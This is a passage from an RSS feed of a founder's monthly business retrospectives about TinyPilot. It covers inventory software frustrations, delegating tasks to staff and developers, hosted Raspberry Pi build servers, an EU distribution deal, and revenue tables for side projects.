&lt;p>By chance, I stumbled across &lt;a href="https://craftybase.com">Craftybase&lt;/a>, which finally seemed like a solution that matched TinyPilot. And it &lt;em>sort of&lt;/em> does, but it&amp;rsquo;s been a rough transition.&lt;/p>
&lt;p>Some things about Craftybase are well-designed and fit our workflows perfectly. My favorite feature is &amp;ldquo;recipes,&amp;rdquo; which define the raw materials that make up a product. For example, I can tell Craftybase that a TinyPilot Power Connector consists of one case and one circuit board. When I record a &amp;ldquo;build&amp;rdquo; in Craftybase of 10 Power Connectors, it knows to deduct 10 cases and 10 circuit boards from my inventory.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/08/craftybase-recipe.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/08/craftybase-recipe_hu_ba6830bc466ca2c5.png 300w, https://mtlynch.io/retrospectives/2021/08/craftybase-recipe_hu_df465b5a5989ad07.png 600w, https://mtlynch.io/retrospectives/2021/08/craftybase-recipe_hu_8f61e1ad44c33a33.png 800w, https://mtlynch.io/retrospectives/2021/08/craftybase-recipe.png 1035w'
 src="https://mtlynch.io/retrospectives/2021/08/craftybase-recipe.png" alt="Screenshot of Craftybase flagging HDMI capture chips as low in stock" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Craftybase&amp;rsquo;s &amp;lsquo;recipe&amp;rsquo; feature allows you to define the components that make up each of your products.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Recipes can also contain other items I manufactured, which works nicely for TinyPilot&amp;rsquo;s multi-stage manufacturing. For example, we build TinyPilot Voyagers in phases. We&amp;rsquo;ll usually build a batch of 10+ Voyager devices, test them, and then pack each device into a box with the necessary cables, instructions, and microSD card. Craftybase allows us to track components at different stages of this process, as recipes can contain raw materials and parts we built at an earlier stage.&lt;/p>
&lt;p>Unfortunately, most of our workflows in Craftybase are fairly bumpy. The most egregious example is managing incoming shipments. Craftybase allows you to define a &amp;ldquo;low stock limit&amp;rdquo; for each item, a number it uses to highlight any parts that are running low.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/08/craftybase-low-stock.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/08/craftybase-low-stock_hu_6c7a2008b9bc9805.png 300w, https://mtlynch.io/retrospectives/2021/08/craftybase-low-stock_hu_9882bd6b3a25eb82.png 600w, https://mtlynch.io/retrospectives/2021/08/craftybase-low-stock.png 719w'
 src="https://mtlynch.io/retrospectives/2021/08/craftybase-low-stock.png" alt="Screenshot of Craftybase&amp;#39;s recipe feature" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Craftybase highlights materials when their quantity in stock falls below your low stock threshold.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The problem is that it continues flagging the item even after you&amp;rsquo;ve ordered more, as the flag ignores pending shipments. In the example above, I recorded in Craftybase that I have an order of HDMI capture chips arriving at the end of the month. Craftybase still flags this item as low in stock even though there&amp;rsquo;s nothing left for me to do.&lt;/p>
&lt;p>That means that when TinyPilot staff want to figure out which items to reorder, they have to go through every flagged item individually and check whether it&amp;rsquo;s &lt;em>actually&lt;/em> low in stock after taking into account pending orders.&lt;/p>
&lt;p>At first, I thought there was a simple workaround. I assumed Craftybase&amp;rsquo;s &amp;ldquo;purchased&amp;rdquo; column represented pending shipments. It turns out that &amp;ldquo;purchased&amp;rdquo; is actually the total quantity I&amp;rsquo;ve purchased since the beginning of time, an irrelevant metric that Craftybase gives bizarrely prominent real estate.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/08/all-purchased.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/08/all-purchased_hu_57ca4a36b7f419df.png 300w, https://mtlynch.io/retrospectives/2021/08/all-purchased_hu_42d98f1c84653ab4.png 600w, https://mtlynch.io/retrospectives/2021/08/all-purchased.png 719w'
 src="https://mtlynch.io/retrospectives/2021/08/all-purchased.png" alt="Screenshot of Craftybase flagging HDMI capture chips as low in stock" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Craftybase highlights materials when their quantity in stock falls below your low stock threshold.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The workaround is that for each item flagged as low in stock, we have to dive into the details, check the total in stock, add pending orders, then check whether that number falls below our low stock limit. Checking for low stock should be a two-second workflow, but Craftybase has turned it into a tedious and complex process requiring several minutes of work.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/08/low-stock-limit.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/08/low-stock-limit_hu_ae5aad43b4059799.png 300w, https://mtlynch.io/retrospectives/2021/08/low-stock-limit_hu_ee0576795ac6c11c.png 600w, https://mtlynch.io/retrospectives/2021/08/low-stock-limit.png 666w'
 src="https://mtlynch.io/retrospectives/2021/08/low-stock-limit.png" alt="Screenshot of Craftybase flagging HDMI capture chips as low in stock" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/08/total-pending.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/08/total-pending_hu_473bc94893c85cf5.png 300w, https://mtlynch.io/retrospectives/2021/08/total-pending_hu_de55c580a6264bea.png 600w, https://mtlynch.io/retrospectives/2021/08/total-pending_hu_bebaf731c3cbc608.png 800w, https://mtlynch.io/retrospectives/2021/08/total-pending.png 834w'
 src="https://mtlynch.io/retrospectives/2021/08/total-pending.png" alt="Screenshot of Craftybase flagging HDMI capture chips as low in stock" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>To check whether an item is low in stock in Craftybase, you have to correlate numbers across multiple screens.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="freeing-up-more-time-with-delegation">Freeing up more time with delegation&lt;/h2>
&lt;p>For most of TinyPilot, I&amp;rsquo;ve struggled with a shortage of time. There are many moving parts to the business, and I&amp;rsquo;m the sole bridge across all of them.&lt;/p>
&lt;p>In June, I identified &lt;a href="https://mtlynch.io/retrospectives/2021/06/#unhoard-michael-only-tasks">a list of tasks&lt;/a> that I could delegate with some investment in training and tools. I&amp;rsquo;m pleased to say that I&amp;rsquo;ve successfully delegated or eliminated half of the items on that list, plus several more.&lt;/p>
&lt;h3 id="excuse-myself-from-spreadsheet-duty">Excuse myself from spreadsheet duty&lt;/h3>
&lt;p>TinyPilot&amp;rsquo;s previous inventory solution was a homegrown spreadsheet that I maintained. It supported TinyPilot&amp;rsquo;s workflows well, but it was inflexible. Any time we added a new product or changed parts, I had to spend several hours fiddling with my hacky spreadsheet formulas to make things work again.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/08/tinypilot-inventory.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/08/tinypilot-inventory_hu_7a2646540c547ac7.png 300w, https://mtlynch.io/retrospectives/2021/08/tinypilot-inventory_hu_235bc4a7ca4d2028.png 600w, https://mtlynch.io/retrospectives/2021/08/tinypilot-inventory_hu_cc3e4b665828a299.png 800w, https://mtlynch.io/retrospectives/2021/08/tinypilot-inventory.png 921w'
 src="https://mtlynch.io/retrospectives/2021/08/tinypilot-inventory.png" alt="Screenshot of TinyPilot inventory in Google Sheets" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>For TinyPilot&amp;rsquo;s first year, we tracked all inventory in a series of spreadsheets with complicated formulas.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>As much as Craftybase frustrates me, it eliminates me from the critical path of our inventory process. Craftybase tracks our inventory with more granularity and flexibility than we could with the spreadsheet, though it does require a depressing amount of workarounds.&lt;/p>
&lt;h3 id="create-a-shared-to-do-list-for-local-staff">Create a shared to-do list for local staff&lt;/h3>
&lt;p>One of the tasks I was still unintentionally micromanaging was task assignment. Each of TinyPilot&amp;rsquo;s local employees visit the office three days per week for a few hours. For tasks that happen every day, such as order fulfillment or processing incoming deliveries, it&amp;rsquo;s easy to direct employees to tackle them during their shift.&lt;/p>
&lt;p>Tasks that happen once per week or month are harder to distribute across two employees. For the first few months in the local office, the weekly and monthly tasks were a disorganized mix of &amp;ldquo;do it when it needs doing,&amp;rdquo; &amp;ldquo;wait for Michael to ask for help,&amp;rdquo; or &amp;ldquo;Michael will just do this.&amp;rdquo;&lt;/p>
&lt;p>One of TinyPilot&amp;rsquo;s employees was interested in learning more about &lt;a href="https://notion.so">Notion&lt;/a>, the tool we use for our knowledge base. This seemed like a good Notion project, so I asked him to create a shared to-do list to manage weekly and monthly tasks.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/08/notion-todo.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/08/notion-todo_hu_3e601b68d63ccb40.png 300w, https://mtlynch.io/retrospectives/2021/08/notion-todo_hu_5f726ceef858c787.png 600w, https://mtlynch.io/retrospectives/2021/08/notion-todo_hu_7c0f08637ed158f3.png 800w, https://mtlynch.io/retrospectives/2021/08/notion-todo.png 1113w'
 src="https://mtlynch.io/retrospectives/2021/08/notion-todo.png" alt="TinyPilot&amp;#39;s shared to-do list in Notion" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s local staff tracks outstanding tasks in a shared to-do list in &lt;a href="https://notion.so">Notion&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>We&amp;rsquo;ve been using the to-do list successfully for the past three weeks. The major disadvantage is that we haven&amp;rsquo;t found a good way of creating recurring tasks in Notion. Our workaround is to repopulate the list by hand every few months. It&amp;rsquo;s tedious, but it&amp;rsquo;s only about an hour of work per quarter.&lt;/p>
&lt;h3 id="train-local-staff-to-reorder-raw-materials">Train local staff to reorder raw materials&lt;/h3>
&lt;p>For most of TinyPilot&amp;rsquo;s life, my girlfriend managed inventory, including reordering raw materials when we were running low. When she went back to grad school in June, we transferred most of her responsibilities to a new employee, but reordering materials fell back onto my plate.&lt;/p>
&lt;p>Reordering inventory is a deceptively difficult task to outsource. It&amp;rsquo;s not just explaining how to do it; it&amp;rsquo;s figuring out how to share credentials to vendor websites, giving them a new debit card number that&amp;rsquo;s spending-capped to limit mistakes, etc. Assigning someone to manage inventory also requires time to build up trust. I don&amp;rsquo;t want to hand a brand new employee a credit card and say, &amp;ldquo;You&amp;rsquo;re now responsible for $10k/month in spending.&amp;rdquo;&lt;/p>
&lt;p>In July, I finally created &lt;a href="https://bitwarden.com/download/">Bitwarden&lt;/a> accounts for everyone on the team, which allows us to share credentials securely. I also wrote instructions on how to order from our various vendors.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/08/order-raw.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/08/order-raw_hu_6e2be76e71c2ee7d.png 300w, https://mtlynch.io/retrospectives/2021/08/order-raw_hu_5c8f1cab5ffa43ca.png 600w, https://mtlynch.io/retrospectives/2021/08/order-raw_hu_61d385d4b431fb4b.png 800w, https://mtlynch.io/retrospectives/2021/08/order-raw.png 947w'
 src="https://mtlynch.io/retrospectives/2021/08/order-raw.png" alt="Screenshot of TinyPilot&amp;#39;s internal Notion page for ordering raw parts" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s internal documentation for reordering raw materials&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Maintaining inventory levels feels like such a small amount of work, but there are so many little tasks involved in the process of reordering supplies that I&amp;rsquo;m always immensely relieved when someone else takes it over.&lt;/p>
&lt;h3 id="allow-developers-to-review-each-others-pull-requests">Allow developers to review each other&amp;rsquo;s pull requests&lt;/h3>
&lt;p>Since February, two freelance developers have worked with me on TinyPilot, and a third joined last month. I&amp;rsquo;ve mostly stopped writing code due to lack of time, but I was still the code reviewer on every single change.&lt;/p>
&lt;p>A few months ago, we tried eliminating me from the code review process, but it didn&amp;rsquo;t take. I&amp;rsquo;m available full-time, whereas the other developers are only available part-time at mostly non-overlapping hours. If they had a sequence of changes that depended on each other, &lt;a href="https://mtlynch.io/code-review-love/#13-minimize-lag-between-rounds-of-review">latency between reviews could kill progress&lt;/a>.&lt;/p>
&lt;p>At our monthly dev meeting, we realized that only a fraction of changes come in a sequence like that. For most changes, it&amp;rsquo;s not a big deal if you have to wait a day or two for a review. So, developers are now reviewing each other&amp;rsquo;s code.&lt;/p>
&lt;p>As someone who still sees themselves as an indie developer, it feels scary to own code that I didn&amp;rsquo;t personally review. But I trust my teammates, and I think this system works better for the company overall.&lt;/p>
&lt;h3 id="externalize-the-image-building-process">Externalize the image building process&lt;/h3>
&lt;p>Every time we publish a new release of TinyPilot, I create a microSD image with the latest version of TinyPilot pre-installed. My process for building a microSD image requires a Raspberry Pi, so I&amp;rsquo;d been using a spare Pi and SSD that sit in the corner of my office.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/08/pi-build-server.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/08/pi-build-server_hu_ef707e6264387d73.jpg 300w, https://mtlynch.io/retrospectives/2021/08/pi-build-server_hu_e4ea55455c31eba0.jpg 600w, https://mtlynch.io/retrospectives/2021/08/pi-build-server_hu_7a3a6c612374c44d.jpg 800w, https://mtlynch.io/retrospectives/2021/08/pi-build-server_hu_eb2baa901f1f0d2e.jpg 1200w, https://mtlynch.io/retrospectives/2021/08/pi-build-server.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/08/pi-build-server.jpg" alt="Photo of Pi and SSD drive" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The official TinyPilot build server, until recently&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Even though TinyPilot&amp;rsquo;s developers are perfectly capable of managing the code, it was too difficult to coordinate shared access to a single server silo&amp;rsquo;ed in my house. As a result, I remained the sole maintainer of the build code.&lt;/p>
&lt;p>Sometimes, I hopelessly Google something for months and months, desperate for a solution, only to find out that I was using the wrong search terms. I always wanted Pi cloud hosting, and I&amp;rsquo;d routinely searched for &amp;ldquo;pi cloud hosting&amp;rdquo; or &amp;ldquo;pi cloud server,&amp;rdquo; only to find unhelpful results about using your own Pi as a cloud server. Finally, it occurred to me to search &amp;ldquo;pi dedicated server.&amp;rdquo; That led me to &lt;a href="https://www.mythic-beasts.com/">Mythic Beasts&lt;/a>, a company that offers cloud-hosted Raspberry Pi servers that you can rent by the second.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/08/mb-hosting.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/08/mb-hosting_hu_889372f83e014e24.png 300w, https://mtlynch.io/retrospectives/2021/08/mb-hosting_hu_833d98ad01d9c1eb.png 600w, https://mtlynch.io/retrospectives/2021/08/mb-hosting_hu_cda0a91a85e1227c.png 800w, https://mtlynch.io/retrospectives/2021/08/mb-hosting_hu_62e28457c01cbfb8.png 1200w, https://mtlynch.io/retrospectives/2021/08/mb-hosting.png 1351w'
 src="https://mtlynch.io/retrospectives/2021/08/mb-hosting.png" alt="Screenshot of Mythic Beasts Raspberry Pi pricing" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://www.mythic-beasts.com/">Mythic Beasts&lt;/a> offers bare-metal Raspberry Pi server hosting.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Mythic Beasts has a nice API for dynamically spinning up Pi servers, but I realized that their server costs are so inexpensive relative to developer time, it&amp;rsquo;s cheaper for me to give each of my developers a personal server that runs 24/7/365 than to automate any clever server allocation logic.&lt;/p>
&lt;p>With the server problem solved, I cleaned up my image building code and shared it with my team. Now any TinyPilot developer can provision their server with the latest build code and use it to generate a TinyPilot microSD image. More importantly, if we discover bugs in the process or add new steps, TinyPilot&amp;rsquo;s developers can make those changes instead of it being a Michael-only task.&lt;/p>
&lt;h2 id="starting-eu-distribution">Starting EU distribution&lt;/h2>
&lt;p>My biggest project over the past month has been getting things rolling with my new EU distributor. I currently sell to European customers, but shipping overseas is slow, expensive, and can involve surprise tariffs at delivery time. The EU distributor will be manufacturing and shipping TinyPilot from Germany, which will improve the purchase experience for consumers in the EU.&lt;/p>
&lt;p>One of the major challenges in forming the partnership is how to balance commitment with flexibility. Historically, it&amp;rsquo;s been hard to predict TinyPilot&amp;rsquo;s future more than a few months in advance, so I try to stay as flexible as possible. Understandably, my distributor requires some level of long-term commitment from me. It takes a lot of work and capital investment to begin selling TinyPilot devices, so he doesn&amp;rsquo;t want me to pull the rug out from him if another distributor comes along with a better deal.&lt;/p>
&lt;p>The other struggle has been royalties. We agreed that the best way to align our incentives was to share profits by percentage. That way, the distributor can experiment with different prices without being limited by a fixed payment to me. And if he finds that he can sell at a higher price, I benefit from that higher price alongside him.&lt;/p>
&lt;p>The difficulty in splitting profits is that it leads to hard questions about how, exactly, to calculate them. If my distributor gives away free devices as part of marketing, does he owe me royalties for those units? Does labor cost factor into profit per unit? If we invest in product improvements together, how does that affect our profit calculation?&lt;/p>
&lt;p>We&amp;rsquo;ve been figuring out those questions and trying to anticipate potential sources of conflict. At this point, we&amp;rsquo;re about 95% done with the contract, and it looks like we&amp;rsquo;re on track to finalize it in weeks, if not days.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2021&lt;/th>
 &lt;th>July 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>49,839&lt;/td>
 &lt;td>39,568&lt;/td>
 &lt;td>&lt;font color="red">-10,271 (-21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>122,700&lt;/td>
 &lt;td>96,494&lt;/td>
 &lt;td>&lt;font color="red">-26,206 (-21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>13.0&lt;/td>
 &lt;td>13.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$536.85&lt;/td>
 &lt;td>$438.07&lt;/td>
 &lt;td>&lt;font color="red">-$98.78 (-18%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$134.59&lt;/td>
 &lt;td>$59.65&lt;/td>
 &lt;td>&lt;font color="red">-$74.94 (-56%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$671.44&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$497.72&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$173.72 (-26%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Last month, I was celebrating how well Is It Keto&amp;rsquo;s audience has held up so long after the annual January surge. I guess I jinxed it because this month had the year&amp;rsquo;s biggest month-over-month drop in visitors, falling by over 20%.&lt;/p>
&lt;p>Sadly, the slump coincides with me applying to partner with a higher-tier display ad partner. I&amp;rsquo;ve heard recommendations to switch from Google AdSense to MediaVine, as the latter pays publishers considerably more. MediaVine has a minimum requirement of 100k pageviews per month, which I had when I applied, but now I&amp;rsquo;m just below. We&amp;rsquo;ll see what happens, I guess.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2021&lt;/th>
 &lt;th>July 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>248&lt;/td>
 &lt;td>109&lt;/td>
 &lt;td>&lt;font color="red">-139 (-56%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Revenue&lt;/td>
 &lt;td>$123.52&lt;/td>
 &lt;td>$218.09&lt;/td>
 &lt;td>&lt;font color="green">+$94.57 (+77%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Blogging for Devs Revenue&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$27.30&lt;/td>
 &lt;td>&lt;font color="green">+$27.30 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$123.52&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$245.39&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$121.87 (+99%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>There hasn&amp;rsquo;t been anything new with the course. A few people per month purchase it and seem to like it, but I haven&amp;rsquo;t been promoting it. Martin Schleiss gave it a favorable mention in his &lt;a href="https://schleiss.io/retrospectives/mid-june-2021">recent blog post&lt;/a>. I&amp;rsquo;m planning to pitch myself as a guest on some tech podcasts this month, so that might lead new people to the course.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2021&lt;/th>
 &lt;th>July 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>594&lt;/td>
 &lt;td>547&lt;/td>
 &lt;td>&lt;font color="red">-47 (-8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,470&lt;/td>
 &lt;td>1,300&lt;/td>
 &lt;td>&lt;font color="red">-170 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$40.20&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$620.67&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$580.47 (+1444%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>There was a big jump in Zestful usage this month, but I&amp;rsquo;m pretty sure it&amp;rsquo;s fraudulent. There were several users that signed up within days of each other with usernames like &lt;code>joe-84ad853&lt;/code>. The bulk of this month&amp;rsquo;s earnings came from one of those accounts. No Zestful customer has ever spent more than $100 on API requests without reaching out to me for a volume discount. This user never reached out, so I&amp;rsquo;m highly suspicious. RapidAPI claims I&amp;rsquo;ll receive the money on August 30th, but I&amp;rsquo;ll be shocked if that actually happens.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published a new TinyPilot release&lt;/li>
&lt;li>Found a developer to manage the TinyPilot website&lt;/li>
&lt;li>Resumed progress on the TinyPilot PoE HAT and rack mount&lt;/li>
&lt;li>Migrated to a managed inventory service&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>An imperfect workflow is better than one that depends on the CEO.
&lt;ul>
&lt;li>As much as Craftybase&amp;rsquo;s user interface and limitations frustrate me, it&amp;rsquo;s better than me being stuck maintaining formulas in a complicated spreadsheet.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Help my EU distributor achieve his first sale.&lt;/li>
&lt;li>Finalize the design of the Voyager 2.&lt;/li>
&lt;li>Publish a sample chapter of &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 12</title><link>https://mtlynch.io/retrospectives/2021/07/</link><pubDate>Thu, 08 Jul 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/07/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m struggling to get unstuck in two areas that have stalled for months: hardware development and hiring.&lt;/li>
&lt;li>I&amp;rsquo;m partnering with a distributor in Germany to begin selling TinyPilot within the EU.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-new-release-of-tinypilot">Publish a new release of TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published TinyPilot 1.5.1&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This release went well and came out on schedule. It didn&amp;rsquo;t have any especially exciting new features, but we polished existing features and paid down technical debt.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m struggling to get unstuck in two areas that have stalled for months: hardware development and hiring.&lt;/li>
&lt;li>I&amp;rsquo;m partnering with a distributor in Germany to begin selling TinyPilot within the EU.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-new-release-of-tinypilot">Publish a new release of TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published TinyPilot 1.5.1&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This release went well and came out on schedule. It didn&amp;rsquo;t have any especially exciting new features, but we polished existing features and paid down technical debt.&lt;/p>
&lt;h3 id="earn-35k-in-tinypilot-revenue">Earn $35k in TinyPilot revenue&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned $29k in revenue&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>Revenue slipped this month, as I haven&amp;rsquo;t been investing as much into marketing. It&amp;rsquo;s a relief that revenue stays this stable without a major marketing push in the last two months, but I need to step it up in July.&lt;/p>
&lt;h3 id="create-a-prototype-of-the-tinypilot-voyager-2-with-built-in-power-over-ethernet">Create a prototype of the TinyPilot Voyager 2, with built-in Power over Ethernet&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Scoped the project down to a more compact Voyager without Power over Ethernet&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>There wasn&amp;rsquo;t as much progress here as I&amp;rsquo;d hoped. Even with me drastically increasing the price I&amp;rsquo;m willing to pay for PoE components, my electrical engineering partners couldn&amp;rsquo;t find any in stock.&lt;/p>
&lt;p>We ultimately decided to drop PoE as a Voyager 2 feature and instead reduced the number of external wires and connectors. We likely won&amp;rsquo;t have the first prototype until mid-July.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
